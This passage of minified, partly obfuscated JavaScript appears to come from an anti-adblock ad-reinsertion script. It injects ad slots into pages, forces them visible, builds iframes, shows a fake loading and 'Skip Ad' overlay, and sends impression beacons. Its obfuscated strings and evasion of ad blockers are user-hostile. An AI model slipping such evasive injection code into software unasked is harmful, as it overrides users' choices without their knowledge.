| K(m["10785708"], c, "height", c.Rb); | |
| K(m["10785708"], c, "border", "0px"); | |
| K(m["10785708"], c, "display", "flex", "important"); | |
| K(m["10785708"], c, "visibility", "visible", "important"); | |
| for (u in a.ob) | |
| if (a.ob.hasOwnProperty(u)) { | |
| d = a.ob[u]; | |
| if (c.rtrt === d) { | |
| K(m["10785708"], c, "display", "none", "important"); | |
| c["1d2fd708"] = !0; | |
| return | |
| } | |
| t = c.dataObject && c.dataObject.params && c.dataObject.params.cid; | |
| l = c.dataObject && c.dataObject.params && c.dataObject.params.lid; | |
| if (2 == d.split("_").length && t === d.split("_")[0] && l === d.split("_")[1]) { | |
| K(m["10785708"], | |
| c, "display", "none", "important"); | |
| c["1d2fd708"] = !0; | |
| return | |
| } | |
| } | |
| a.V && (5 < h && 5 < k ? uc(c, [h, k], p) : (K(m["10785708"], c, "display", "none"), | |
| pa(c, function(a) { | |
| uc(c, a, p) | |
| }))) | |
| } | |
| function uc(a, c, b) { | |
| var d = c[0] | |
| , e = c[1]; | |
| a.pa = e; | |
| a.qa = d; | |
| 5 < d && 5 < e && (b[a.rtrt] = [], | |
| b[a.rtrt][0] = c[0], | |
| b[a.rtrt][1] = c[1], | |
| window.localStorage["13ca9f39"] = JSON.stringify(b), | |
| window.requestAnimationFrame(function() { | |
| mc(a); | |
| K(m["10785708"], a, "width", d + "px"); | |
| K(m["10785708"], a, "height", e + "px") | |
| })) | |
| } | |
| function vc(a, c) { | |
| var b = c.spaceID; | |
| b instanceof Array && 3 === b.length && (b = b[0]); | |
| a.h = b; | |
| if ("dfp" === b || "sas" === b) | |
| a.h += x(3, 5); | |
| a[a.h] = c; | |
| a[a.h].M = b; | |
| a[a.h].arguments = c.arguments; | |
| a[a.h].w = c.destSelector; | |
| a.V = "dfp" === a[a.h].M; | |
| a.vc = "sas" === a[a.h].M; | |
| a.lc = "flex"; | |
| a.mc = "0 auto"; | |
| !a.V && a[a.h].M in a.B.D && (a[a.h].fa = a.B.D[a[a.h].M].s.split("x")[1].split("|")[0], | |
| a[a.h].Pc = a.B.D[a[a.h].M].s.split("x")[0], | |
| a[a.h].Ee = a.B.D[a[a.h].M].g, | |
| a[a.h].Db = a.B.D[a[a.h].M].sel, | |
| a[a.h].Fc = a.B.D[a[a.h].M].p, | |
| a[a.h].Sa = a.B.D[a[a.h].M].st, | |
| a[a.h].Yb = | |
| a.B.D[a[a.h].M].sm, | |
| a[a.h].Oc = a.B.D[a[a.h].M].d, | |
| a[a.h].hc = a.B.D[a[a.h].M].dw); | |
| if (-1 === window.location.href.indexOf("uponit") && 1 === a[a.h].Oc || -1 < window.location.href.indexOf("uponit") && 2 === a[a.h].Oc || Tb() && 1 === a[a.h].Fc || !Tb() && 2 === a[a.h].Fc || !a[a.h].Ee && !a.K) | |
| return !1; | |
| if (a[a.h].hc) { | |
| var b = a[a.h].hc, d = window.location.hostname.replace("www.", ""), e = !1, f; | |
| for (f in b) | |
| if (b.hasOwnProperty(f) && -1 < d.indexOf(b[f])) { | |
| e = !0; | |
| break | |
| } | |
| if (!e) | |
| return !1 | |
| } | |
| if (4 === a[a.h].Sa) | |
| return wc(a, !0), | |
| !1; | |
| if (5 === a[a.h].Sa) | |
| return a.Sd(!0), | |
| !1; | |
| try { | |
| if (!1 === a.Hc()) | |
| return !1 | |
| } catch (l) { | |
| return !1 | |
| } | |
| jc(a); | |
| if (a.B.Nc) | |
| return lc(a), | |
| !1; | |
| if ("object" === typeof a[a.h].w && a.V) | |
| var g = a[a.h].w; | |
| if (a[a.h].Db || "string" === typeof a[a.h].w) { | |
| "string" === typeof a[a.h].w && (a[a.h].Db = a[a.h].w); | |
| try { | |
| var k = document.querySelector(a[a.h].Db); | |
| "[object Array]" === Object.prototype.toString.call(k) && (k = k[0]) | |
| } catch (l) { | |
| return !1 | |
| } | |
| var h = a.h; | |
| if (!k && 0 < a.Cc) | |
| return a.Cc--, | |
| setTimeout(function() { | |
| a.B.S.push(a[h].M, a[h].arguments, a[h].w) | |
| }, 500), | |
| !1; | |
| if (k) { | |
| if (k.ue) | |
| return !1; | |
| k.ue = !0; | |
| a[a.h].w = document.createElement("div"); | |
| a[a.h].w.ourClass = x(5, 9, !0); | |
| SelectorType = parseInt(a.B.D[a[a.h].M].selt); | |
| switch (SelectorType) { | |
| case 0: | |
| k.appendChild(a[a.h].w); | |
| break; | |
| case 1: | |
| k.parentElement.insertBefore(a[a.h].w, k); | |
| break; | |
| default: | |
| k.appendChild(a[a.h].w) | |
| } | |
| } else { | |
| try { | |
| a[a.h].w.parentElement.removeChild(a[a.h].w) | |
| } catch (l) {} | |
| return !1 | |
| } | |
| } else | |
| void 0 !== g && (a[a.h].w = document.createElement("div"), | |
| g.appendChild(a[a.h].w)), | |
| a[a.h].w.id = x(5, 7, !0); | |
| var p = a.h; | |
| return a[a.h].w.parentElement && !a[a.h].w.parentElement.__tree ? (hc(a[p].w, function(b) { | |
| xc(a, p, b) | |
| }), | |
| !1) : p | |
| } | |
| function xc(a, c, b) { | |
| c && (a.h = c); | |
| b && (a[a.h].w = b); | |
| a.V && wc(a); | |
| a.vc && a.Sd(); | |
| 2 === a[a.h].Sa && yc(a); | |
| 3 === a[a.h].Sa && zc(a); | |
| kc(a) && (c = nc(a)) && (c.isCurrentAdIsDFP = a.V, | |
| b = a[a.h].w, | |
| "iframe" == c && (b = c), | |
| b.updis = !1, | |
| Ac(a, c, b), | |
| a.B.da[c["9476c9f3"]] = { | |
| target: c, | |
| Ca: !1, | |
| updis: !1 | |
| }) | |
| } | |
| function Ac(a, c, b) { | |
| function d(a) { | |
| void 0 === a.Fb && (a.Fb = 5); | |
| fc(a) || 0 > a.Fb || (--a.Fb, | |
| setTimeout(function() { | |
| window.requestAnimationFrame(d.bind(window, a)) | |
| }, 1600)) | |
| } | |
| ta(function(a, b) { | |
| a.appendChild(b); | |
| var c = b.contentDocument && b.contentDocument.defaultView ? b.contentDocument.defaultView : b.contentWindow; | |
| c.document.write("<!DOCTYPE html><html><head></head><body></body></html>"); | |
| "undefined" !== typeof window.InstallTrigger && c.document.close(); | |
| try { | |
| c.stop() | |
| } catch (k) {} | |
| b.removeAttribute("srcdoc"); | |
| b.contentDocument.open(); | |
| b.contentDocument.close(); | |
| K(m["10785708"], b, "display", "none", "important") | |
| }, [a[a.h].w, c]); | |
| if (a[a.h].w.__tree) { | |
| for (a = a[a.h].w; a && a.__tree && "BODY" !== a.tagName && "HTML" !== a.tagName; ) | |
| K(m["10785708"], a, "display", "none"), | |
| a.__upclose = !1, | |
| ta(function(a, b) { | |
| a(b) | |
| }, [m.bd2bebe6.La.N(m.bd2bebe6), a]), | |
| a = a.parentElement; | |
| ta(function(a, b) { | |
| a(b) | |
| }, [m.bd2bebe6.La.N(m.bd2bebe6), a]) | |
| } else | |
| ta(function(a, b) { | |
| a(b) | |
| }, [m.bd2bebe6.La.N(m.bd2bebe6), a[a.h].w]), | |
| ta(function(a, b) { | |
| a(b) | |
| }, [m.bd2bebe6.La.N(m.bd2bebe6), a[a.h].w.parentElement]); | |
| setTimeout(function() { | |
| window.requestAnimationFrame(d.bind(window, b)) | |
| }, 1600) | |
| } | |
| ic.prototype.Mc = function(a) { | |
| function c(a) { | |
| a instanceof Object && (a = [a]); | |
| for (var c in a) | |
| if (a.hasOwnProperty(c)) | |
| a: { | |
| var d = void 0 | |
| , g = b | |
| , k = {}; | |
| try { | |
| if (d = vc(g, a[c]), | |
| !d) | |
| break a | |
| } catch (h) { | |
| k.a = 27; | |
| k.e = h; | |
| V(k, !0); | |
| break a | |
| } | |
| try { | |
| xc(g, d) | |
| } catch (h) { | |
| k.a = 29, | |
| k.e = h, | |
| V(k, !0) | |
| } | |
| } | |
| } | |
| var b = this; | |
| this.jc || this.B.D[a.spaceID] && (4 === this.B.D[a.spaceID].st || 5 === this.B.D[a.spaceID].st) ? (this.jc = !0, | |
| c(a)) : xa(m["10785708"], c.N(this, a)) | |
| } | |
| ; | |
| function zc(a) { | |
| function c() { | |
| this.parentElement && this.parentElement.parentElement.removeChild(this.parentElement) | |
| } | |
| var b = document.createElement("div"); | |
| a.lc = "block"; | |
| a[a.h].fa = 65 > a[a.h].fa ? 65 : a[a.h].fa + 5; | |
| 320 > a[a.h].jb && (a[a.h].jb = 320); | |
| b.__tree = !0; | |
| a[a.h].w.__tree = !0; | |
| a[a.h].w.__st = !0; | |
| a[a.h].w.style.cssText = "display: block; width:100%; height: " + a[a.h].fa + "px; opacity: 1; z-index: 999999; position: fixed; left: 0px; bottom: 0px; background-color: #F0F0F0;"; | |
| a[a.h].w.style.position = "fixed"; | |
| b.style.cssText = | |
| "display: block; position: relative; z-index: 1; height: 15px; box-shadow: rgba(0, 0, 0, 0.2) 0px -1px 5px -1px, rgba(0, 0, 0, 0.0980392) 0px 1px 2px -1px; background-color: rgb(216, 216, 216)"; | |
| L(b, "click", c); | |
| L(b, "touchstart", c); | |
| b.innerHTML = '<svg style=" margin: 0 0 0 -30px; position: absolute; bottom:0; left:50%;display: block; width: 60px;height: 30px;" xmlns="http://www.w3.org/2000/svg"><defs><filter id="dropShadowTop" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB"><feComponentTransfer in="SourceAlpha" result="TransferredAlpha"> <feFuncR type="discrete" tableValues="0.8"></feFuncR> <feFuncG type="discrete" tableValues="0.8"></feFuncG> <feFuncB type="discrete" tableValues="0.8"></feFuncB></feComponentTransfer><feMerge> <feMergeNode></feMergeNode> <feMergeNode in="SourceGraphic"></feMergeNode></feMerge></filter><filter id="dropShadowBottomRight" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB"><feComponentTransfer in="SourceAlpha" result="TransferredAlpha"> <feFuncR type="discrete" tableValues="0.5"></feFuncR> <feFuncG type="discrete" tableValues="0.5"></feFuncG> <feFuncB type="discrete" tableValues="0.5"></feFuncB></feComponentTransfer><feGaussianBlur in="TransferredAlpha" stdDeviation="2"></feGaussianBlur><feOffset dx="1" dy="1" result="offsetblur"></feOffset> <feMerge> <feMergeNode></feMergeNode> <feMergeNode in="SourceGraphic"></feMergeNode></feMerge></filter></defs><path d="M10,15 C 20,0 40,0 50,15 Z" stroke="#D8D8D8" stroke-width="1" fill="#D8D8D8" style="filter:url(#dropShadowTop)"></path><g class="down" stroke="#888888" stroke-width="2px" stroke-linecap="square" style="filter:url(#dropShadowBottomRight)"><line x1="22" y1="13" x2="38" y2="13"></line><line x1="22" y1="17" x2="38" y2="17"></line><line x1="22" y1="21" x2="38" y2="21"></line></g></svg>'; | |
| a[a.h].w.appendChild(b) | |
| } | |
| function yc(a) { | |
| if (!a.ge) { | |
| var c, b, d = a[a.h].w; | |
| a[a.h].w = document.createElement("div"); | |
| var e = document.createElement("div") | |
| , f = document.createElement("div") | |
| , g = document.createElement("div") | |
| , k = document.createElement("button"); | |
| g.textContent = "Wait while loading "; | |
| k.style.cssText = "position:absolute;bottom:5px;left:5px;font-family: 'Roboto',arial,sans-serif;border: 1px solid rgba(255,255,255,0.5);text-align: center;cursor: pointer;box-sizing: content-box;color: #fff;background: rgba(0,0,0,0.9);line-height: 45px;min-width: 164px;padding: 0;"; | |
| k.innerHTML = | |
| 'Skip Ad <div style="background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAAAAABjvpF0AAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAAAnRSTlMAAHaTzTgAAAACYktHRAD/h4/MvwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAEFJREFUGNNjYKARmC+PYP//D2cghJEEEcIogjBhNEGIMIYgSBiL4P14DMH78RjaQUJoghAhFEGYEJIgQghJkB4AAG9cX5X8X+CRAAAAAElFTkSuQmCC);background-repeat: no-repeat;display: inline-block;height: 25px;margin-left: 2px;vertical-align: middle;width: 20px;"></div>'; | |
| k.onclick = function() { | |
| this.parentElement.style.display = "none" | |
| } | |
| ; | |
| g.style.cssText = "color:#fff;position:absolute;top:85%;left:40%;font-size:16px;line-height:18px;font-weight:bold;"; | |
| f.style.cssText = "background:gray;position:absolute;left:5px;top:5px;height:15px;-webkit-transition:1.3s;-moz-transition:1.3s;-o-transition:1.3s;transition:1.3s;opacity:.5;z-index:99999999"; | |
| e.style.cssText = "background: rgba(0,0,0,0.7);position:absolute;height:15px;-webkit-transition:1.3s;-moz-transition:1.3s;-o-transition:1.3s;transition:1.3s;z-index:99999999;height:" + | |
| currentElementRect.height + "px;width:" + currentElementRect.width + "px;"; | |
| var h = window.getComputedStyle(d) | |
| , p = window.getComputedStyle(d.parentElement) | |
| , l = 0; | |
| "auto" !== h.top && "" !== h.top && (l += parseInt(h.top)); | |
| "0px" !== h.paddingTop && "" !== h.paddingTop && (l += parseInt(h.paddingTop)); | |
| "0px" !== h.marginTop && "" !== h.marginTop && (l += parseInt(h.marginTop)); | |
| "auto" !== p.top && "" !== p.top && (l += parseInt(p.top)); | |
| "0px" !== p.paddingTop && "" !== p.paddingTop && (l += parseInt(p.paddingTop)); | |
| "0px" !== p.marginTop && "" !== p.marginTop && (l += parseInt(p.marginTop)); | |
| l && 0 !== l && (e.style.cssText += "margin-top:" + l + "px;"); | |
| a[a.h].w.style.cssText = "height:250px;width:300px;z-index:99999999;position:absolute;background:transparent;left:50%;top:50%;margin-left:-150px;margin-top:-125px;box-shadow: 0 0 30px 0px rgba(0,0,0,.6);opacity:1;"; | |
| L(window, "resize", function() { | |
| var a = e.we.getBoundingClientRect(); | |
| 0 < a.height && 0 < a.width && (e.style.width = a.width + "px", | |
| e.style.height = a.height + "px") | |
| }, !1); | |
| e.we = d; | |
| try { | |
| var t = d.parentElement.parentElement.firstElementChild; | |
| t !== d.parentElement && "single-left-related-container" == | |
| t.id && (e.style.cssText += "margin-left:" + t.getBoundingClientRect().width + "px;") | |
| } catch (u) {} | |
| d.parentElement.parentElement.insertBefore(e, d.parentElement); | |
| e.appendChild(k); | |
| e.appendChild(f); | |
| e.appendChild(a[a.h].w); | |
| e.appendChild(g); | |
| (function(a, d) { | |
| c = b = a; | |
| var e = self.setInterval(function() { | |
| var a = e; | |
| g.innerHTML = "Wait while loading " + b; | |
| f.style.width = 100 - Math.round(100 * b / c) + "%"; | |
| 0 <= b && (window.clearInterval(a), | |
| d.parentElement.style.display = "none"); | |
| b -= 1E3 | |
| }, 1E3) | |
| })(a.te, a[a.h].w); | |
| a.ge = !0 | |
| } | |
| } | |
| function wc(a, c) { | |
| try { | |
| if (c && !a.wc) { | |
| a.wc = !0; | |
| a.pc = a[a.h].M; | |
| return | |
| } | |
| } catch (d) { | |
| return | |
| } | |
| if (a.V) { | |
| a[a.h].yc = !1; | |
| a[a.h].M = a.pc; | |
| a[a.h].aa = a[a.h].arguments.data; | |
| a[a.h].W = a[a.h].aa.keyvalue || a[a.h].aa.prev_scp; | |
| a[a.h].yb = a[a.h].aa.iu; | |
| a[a.h].Gb = a[a.h].aa.size || a[a.h].aa.prev_iu_szs; | |
| a[a.h].fa = a[a.h].Gb.split("x")[1].split("|")[0]; | |
| a[a.h].Pc = a[a.h].Gb.split("x")[0]; | |
| a[a.h].Bd = a[a.h].arguments.data.correlator; | |
| try { | |
| var b = a[a.h].arguments.gob; | |
| "j" in b && !("getOutOfPage" in b) && (b = b.j); | |
| a[a.h].yc = b.getOutOfPage() | |
| } catch (d) {} | |
| if (!a[a.h].yb) | |
| try { | |
| a[a.h].yb = | |
| "/" + a[a.h].aa.iu_parts.replace(",", "/") | |
| } catch (d) {} | |
| "cp" in a[a.h].aa && (a[a.h].W = a[a.h].W && "" !== a[a.h].W ? a[a.h].W + ("&" + a[a.h].aa.cp) : a[a.h].aa.cp); | |
| a[a.h].W || (a[a.h].W = ""); | |
| a[a.h].Yb = 1 | |
| } | |
| } | |
| Bc.prototype.gb = function(a) { | |
| try { | |
| try { | |
| a = a || event | |
| } catch (p) { | |
| return | |
| } | |
| if ("string" !== typeof a) { | |
| if ("null" !== a.origin && a.origin.split("/")[2] !== m["5b005c43"].Ka.split("/")[2] && a.origin.split("/")[2].replace("www.", "") !== window.location.hostname.replace("www.", "")) | |
| return; | |
| var c = a.data | |
| } else | |
| c = m["55e59a8b"].parse(a); | |
| try { | |
| c = m["55e59a8b"].parse(a.data) | |
| } catch (p) {} | |
| this.xe === c && (this.Nc = !0, | |
| lc(m["3e679fec"])); | |
| if (this.ye === c[0]) { | |
| var b = c[1] | |
| , d = c[2]; | |
| var e = document.querySelector(c[3]); | |
| if (!e) | |
| return !1; | |
| window.requestAnimationFrame(function() { | |
| K(m["10785708"], | |
| e, "width", b + "px"); | |
| K(m["10785708"], e, "height", d + "px"); | |
| K(m["10785708"], e.parentElement, "width", b + "px"); | |
| K(m["10785708"], e.parentElement, "height", d + "px") | |
| }) | |
| } | |
| if (this.Ud === c[0]) { | |
| e = document.querySelector(c[3]); | |
| if (!e || "BODY" === e.tagName && "HTML" === e.tagName) | |
| return !1; | |
| K(m["10785708"], e, "display", "none"); | |
| for (var f = e.parentElement; f && f.__tree; ) | |
| "BODY" !== f.tagName && "HTML" !== f.tagName && (K(m["10785708"], f, "display", "none"), | |
| f = f.parentElement, | |
| f.__upclose = !0); | |
| e.parentElement && e.parentElement.__st && K(m["10785708"], e.parentElement, | |
| "display", "none"); | |
| e.__upclose = !0; | |
| var g = e.parentElement.getElementsByTagName("*"); | |
| for (a = 0; a < g.length; a++) | |
| g.__upclose = !0 | |
| } | |
| this.Zb === c[0] && Cc(this, "q", c[1]); | |
| this.$b === c[0] && Cc(this, "r", c[1]); | |
| if (this.gc === c[0]) { | |
| var k = c[2]; | |
| e = document.querySelector(c[3]); | |
| e.updis = !0; | |
| e.parentElement.updis = !0; | |
| window.requestAnimationFrame(function() { | |
| try { | |
| if (e.parentElement.__tree) { | |
| for (var a = e.parentElement; a && a.__tree; ) { | |
| if (!a.__upclose && (a.frDisplay && "none" !== a.frDisplay ? K(m["10785708"], a, "display", a.frDisplay, "important") : K(m["10785708"], | |
| a, "display", "inline-table", "important"), | |
| a.__old)) | |
| for (var b = a, c = m["10785708"], d = ["position"], f = window.getComputedStyle(a.__old, null ), g = window.getComputedStyle(b, null ), h = 0; h < d.length; h++) { | |
| var k = d[h]; | |
| f[k] != g[k] && K(c, b, k, f[k]) | |
| } | |
| a.updis = !0; | |
| a = a.parentElement | |
| } | |
| a.updis = !0 | |
| } | |
| } catch (E) {} | |
| }); | |
| e && e.frDisplay && !e.__upclose ? K(m["10785708"], e, "display", e.frDisplay, "important") : e && !e.__upclose && K(m["10785708"], e, "display", "flex", "important"); | |
| var h = this.da[k]; | |
| h.target = e; | |
| h.Ca || (h.updis = !0, | |
| Cc(this, "v", c[1])) | |
| } | |
| } catch (p) { | |
| c = | |
| { | |
| a: 31 | |
| }, | |
| c.e = p, | |
| V(c) | |
| } | |
| } | |
| ; | |
| function Bc(a) { | |
| this.S = a; | |
| this.xb = void 0 !== document.hasFocus ? document.hasFocus() : !0; | |
| this.K = this.Nc = !1; | |
| this.Ba = 0; | |
| this.da = {}; | |
| this.gc = "36a81533"; | |
| this.$b = "dd1039ba"; | |
| this.Zb = "f08f7ef1"; | |
| this.ye = "cf1a4143"; | |
| this.Ud = "d63a7e0b"; | |
| this.xe = "f062386"; | |
| this.D = { | |
| "1456070001": { | |
| "s": "728x90", | |
| "g": false, | |
| "dom": null , | |
| "sel": "div[class=\"box-outer top-box\"]", | |
| "selt": 1, | |
| "p": 0, | |
| "st": 1, | |
| "sm": 2, | |
| "d": 1 | |
| }, | |
| "1456080001": { | |
| "s": "750x300", | |
| "g": false, | |
| "dom": null , | |
| "sel": "#popular-threads", | |
| "selt": 1, | |
| "p": 0, | |
| "st": 1, | |
| "sm": 2 | |
| }, | |
| "1786591011": { | |
| "s": "728x90", | |
| "g": false, | |
| "dom": null , | |
| "sel": "body \u003e div.adg-rects", | |
| "selt": 0, | |
| "p": 0, | |
| "st": 1, | |
| "sm": 2, | |
| "d": 1 | |
| }, | |
| "5226820880826368": { | |
| "s": "728x90", | |
| "g": false, | |
| "dom": null , | |
| "sel": "#delform \u003e div.adg-rects", | |
| "selt": 0, | |
| "p": 0, | |
| "st": 1, | |
| "sm": 2 | |
| } | |
| }; | |
| window.localStorage["13ca9f39"] || (window.localStorage["13ca9f39"] = "{}"); | |
| this.uc = this.tc = !1; | |
| for (var c in this.D) | |
| if (this.D.hasOwnProperty(c)) { | |
| if (this.D[c] && 4 === this.D[c].st) { | |
| this.tc = !0; | |
| break | |
| } | |
| if (this.D[c] && 5 === this.D[c].st) { | |
| this.uc = !0; | |
| break | |
| } | |
| } | |
| } | |
| Bc.prototype.Gc = function() { | |
| return !0 | |
| } | |
| ; | |
| function Cc(a, c, b) { | |
| var d = {}; | |
| try { | |
| for (var e in a.da) | |
| if (a.da.hasOwnProperty(e)) { | |
| var f = a.da[e]; | |
| if ("v" === c) { | |
| if (!a.xb) | |
| break; | |
| if (f.Ca) | |
| continue;if (!f.updis) | |
| continue;b = f.target.token; | |
| if (!b) | |
| continue;a.ee ? delete d.m : (d.m = x(1, 2), | |
| a.ee = !0) | |
| } | |
| if (b = f.target.token) | |
| if (!f.Ca && "q" === c) | |
| f.re = !0; | |
| else if (!f.target.dte || "1310141685" !== f.target.dte.toString() || "v" !== c || f.re) | |
| if (!f.Xb || "r" !== c) { | |
| if (f.Xb || "r" !== c) | |
| if (f.Ca || "v" !== c) | |
| continue; | |
| else | |
| f.Ca = !0; | |
| else | |
| f.Xb = !0; | |
| d.k = b; | |
| var g = void 0 | |
| , k = c | |
| , h = d | |
| , p = m["5b005c43"]; | |
| for (g in p.U) | |
| p.U.hasOwnProperty(g) && | |
| (h[g] = p.U[g]); | |
| var l = W(k, h, p.ab); | |
| Y(p, l) | |
| } | |
| } | |
| } catch (t) { | |
| d.a = 24, | |
| d.e = t, | |
| V(d) | |
| } | |
| } | |
| Bc.prototype.start = function() { | |
| try { | |
| var a = this; | |
| try { | |
| n.e22950d3 = J; | |
| n.c6de1fb3 = this.xd; | |
| n.b7578bb = this.Kd; | |
| this["55e59a8b"] = m["55e59a8b"] = JSON || fa; | |
| this["9cf90424"] = m["9cf90424"] = new da; | |
| this.aafba60f = m.aafba60f = new ba; | |
| this["5ff770e4"] = m["5ff770e4"] = new ga; | |
| this.b0af0ffe = m.b0af0ffe = new qa; | |
| this.a099bd61 = m.a099bd61 = new Wb; | |
| this["5b005c43"] = m["5b005c43"] = new Bb(this.S); | |
| this["1f036911"] = m["1f036911"] = new Mb; | |
| this["10785708"] = m["10785708"] = new wa; | |
| this["538135f1"] = m["538135f1"] = new Ub; | |
| this.bd2bebe6 = m.bd2bebe6 = new cc(this); | |
| aa && (this.becc841 = m.becc841 = new aa["386b2e83"]); | |
| this.Da = [J("Bi0vCj4bCzge"), J("Bi0ZCzkb"), J("AyAaSDcfGnsLHQ=="), J("ACYDAjwKMTcOCjUEIwIpKgg="), J("AD4ISDEL"), J("DiQLOjEL")]; | |
| this.e22950d3 = J; | |
| this.c6de1fb3 = n.c6de1fb3; | |
| this.b7578bb = n.b7578bb; | |
| var c = !0 | |
| } catch (h) { | |
| c = !1 | |
| } | |
| if (!1 === c) | |
| return !1; | |
| var b = !a.S["2393021f"]; | |
| b || (a.d7918815 = ka(a.S["2393021f"]), | |
| setTimeout(function() { | |
| Dc(a.S["2393021f"]); | |
| a.S["2393021f"] = null | |
| }, 2E3)); | |
| m["5b005c43"].U.p = "1416070001"; | |
| L(window, "message", a.gb.N(a)); | |
| L(window, "focus", function() { | |
| a.xb = !0; | |
| Cc(a, "v") | |
| }); | |
| L(window, "blur", function() { | |
| a.xb = !1 | |
| }); | |
| var d = function() { | |
| window.localStorage["19ec7a51"] = !0; | |
| window.sessionStorage["19ec7a51"] = !0 | |
| } | |
| , e = function() { | |
| window.localStorage["19ec7a51"] = !1; | |
| window.sessionStorage["19ec7a51"] = !1 | |
| } | |
| , f = function(c, f) { | |
| try { | |
| var g = "undefined" === typeof window.localStorage["19ec7a51"]; | |
| a.K = c; | |
| f || (c ? d() : e()); | |
| var h = new ic(a); | |
| m["3e679fec"] = h; | |
| try { | |
| a.Gc() | |
| } catch (B) {} | |
| var k = function(b) { | |
| a.S.b858c19c = b[U][U] | |
| } | |
| ; | |
| a.S.b858c19c || Db(k) || Ib(a.K); | |
| m["5b005c43"].U.c = a.K; | |
| m["5b005c43"].U.t = a.Ba; | |
| Gb(); | |
| if (bc(g || | |
| !b) || !g && b) { | |
| var p = a.S["8d5f8a22"]; | |
| if (a.K) { | |
| var g = {}, v; | |
| for (v in g) | |
| if (g.hasOwnProperty(v) && g[v] && 0 != v) { | |
| a.Ba = v; | |
| break | |
| } | |
| } | |
| for (var r in a.D) | |
| a.D.hasOwnProperty(r) && (a.D[r].sel && a.S.push(r, void 0, a.D[r].sel), | |
| !a.D[r] || 4 !== a.D[r].st && 5 !== a.D[r].st || (p(h.Mc.N(h)), | |
| a.S.push(r, void 0, document.createElement("div")))); | |
| p(h.Mc.N(h)) | |
| } | |
| } catch (B) { | |
| h = { | |
| a: 25 | |
| }, | |
| h.e = B, | |
| V(h) | |
| } | |
| } | |
| .N(a); | |
| c = {}; | |
| aa && m.becc841.fc() && (c = m.becc841.Qd()); | |
| var g = []; | |
| for (k in c) | |
| c.hasOwnProperty(k) && g.push(c[k][U][U]); | |
| c = 0 !== g.length ? m["55e59a8b"].stringify(g) : void 0; | |
| m["5b005c43"].U.f = c; | |
| "true" !== window.sessionStorage["19ec7a51"] && "true" !== window.localStorage["19ec7a51"] || !this.tc && !this.uc ? Vb(function() { | |
| f(!0) | |
| }, function() { | |
| f(!1) | |
| }) : (Vb(d, e), | |
| f(!0, !0)); | |
| setTimeout(function() { | |
| Ec(a) | |
| }, 2500) | |
| } catch (h) { | |
| var k = { | |
| a: 0 | |
| }; | |
| k.e = h; | |
| V(k); | |
| return !1 | |
| } | |
| return !0 | |
| } | |
| ; | |
| function Ec(a) { | |
| if (!a.e21d867b) { | |
| a.e21d867b = !0; | |
| Xb(m.a099bd61); | |
| a = $b(m.a099bd61, m.a099bd61.ya); | |
| for (var c in a) | |
| if (a.hasOwnProperty(c)) { | |
| var b = a[c][U][U]; | |
| var d = a[c][U].d7918815; | |
| var e = a[c][U][Z]; | |
| break | |
| } | |
| Fb(d, function(a) { | |
| a = a || b; | |
| Dc(a) | |
| }, function() { | |
| z() > e + 1800 && Zb(m.a099bd61, m.a099bd61.ya) | |
| }) | |
| } | |
| } | |
| function Dc(a) { | |
| if (a) { | |
| var c = ka(a) | |
| , b = {}; | |
| b[Jb] = ""; | |
| var d = {}; | |
| d[Z] = z(); | |
| d[Kb] = 86400; | |
| d.b10f785d = "2"; | |
| d[U] = a; | |
| d.d7918815 = c; | |
| b[U] = d; | |
| Zb(m.a099bd61, m.a099bd61.ya); | |
| Lb(b, m.a099bd61.ya) | |
| } | |
| } | |
| Bc.prototype.xd = function(a) { | |
| try { | |
| if (!a) | |
| return !1; | |
| var c = m.aafba60f.decode(a); | |
| return m["55e59a8b"].parse(J(decodeURIComponent(escape(c)), !1)) | |
| } catch (b) { | |
| return !1 | |
| } | |
| } | |
| ; | |
| Bc.prototype.Kd = function(a) { | |
| try { | |
| if (!a) | |
| return !1; | |
| var c = m["55e59a8b"].stringify(a); | |
| return m.aafba60f.encode(unescape(encodeURIComponent(J(c, !1)))) | |
| } catch (b) { | |
| return !1 | |
| } | |
| } | |
| ; | |
| var Ta = function(a, c) { | |
| return "data:" + c.replace(" ", "") + ";base64," + ha(a) | |
| } | |
| , rb = function() { | |
| function a(a, b, d, e, f) { | |
| f = f || {}; | |
| var c = [] | |
| , k = 0 | |
| , h = 0; | |
| d.addEventListener("updateend", function() { | |
| if (0 < c.length && !d.updating) | |
| try { | |
| d.appendBuffer(c.shift()) | |
| } catch (p) {} | |
| else | |
| 0 === h || h !== k && -1 !== k || d.updating || "open" !== e.readyState || e.endOfStream() | |
| }, !1); | |
| a.stream({ | |
| url: b | |
| }, { | |
| onresponse: function(a) { | |
| k = "undefined" === typeof a.headers["content-length"] ? -1 : parseInt(a.headers["content-length"][0]); | |
| if (500 === a.status && f.onerror) | |
| f.onerror(Error("Got error 500 when trying to stream with media source")); | |
| if (f.onresponse) | |
| f.onresponse() | |
| }, | |
| onprogress: function(a) { | |
| h += a.byteLength; | |
| if (d.updating || 0 < c.length) | |
| c.push(a); | |
| else | |
| try { | |
| "open" === e.readyState && d.appendBuffer(a) | |
| } catch (l) {} | |
| if (f.onprogress) | |
| f.onprogress() | |
| }, | |
| onsuccess: function() { | |
| if (f.onsuccess) | |
| f.onsuccess() | |
| }, | |
| onerror: function(a) { | |
| if (f.onerror) | |
| f.onerror(a) | |
| } | |
| }) | |
| } | |
| return { | |
| stream: function(c, b, d) { | |
| d = d || {}; | |
| if (!window.MediaSource || !MediaSource.isTypeSupported('video/webm; codecs="vorbis,vp8"')) { | |
| if (d.onerror) | |
| d.onerror(Error("codec not supported by browser")); | |
| return null | |
| } | |
| var e = | |
| new MediaSource | |
| , f = window.URL.createObjectURL(e); | |
| e.addEventListener("sourceopen", function() { | |
| if ("open" === this.readyState) { | |
| var f = e.addSourceBuffer('video/webm; codecs="vorbis,vp8"'); | |
| a(b, c, f, e, d) | |
| } | |
| }, !1); | |
| return f | |
| } | |
| } | |
| }(); | |
| ic.prototype.Hc = function() { | |
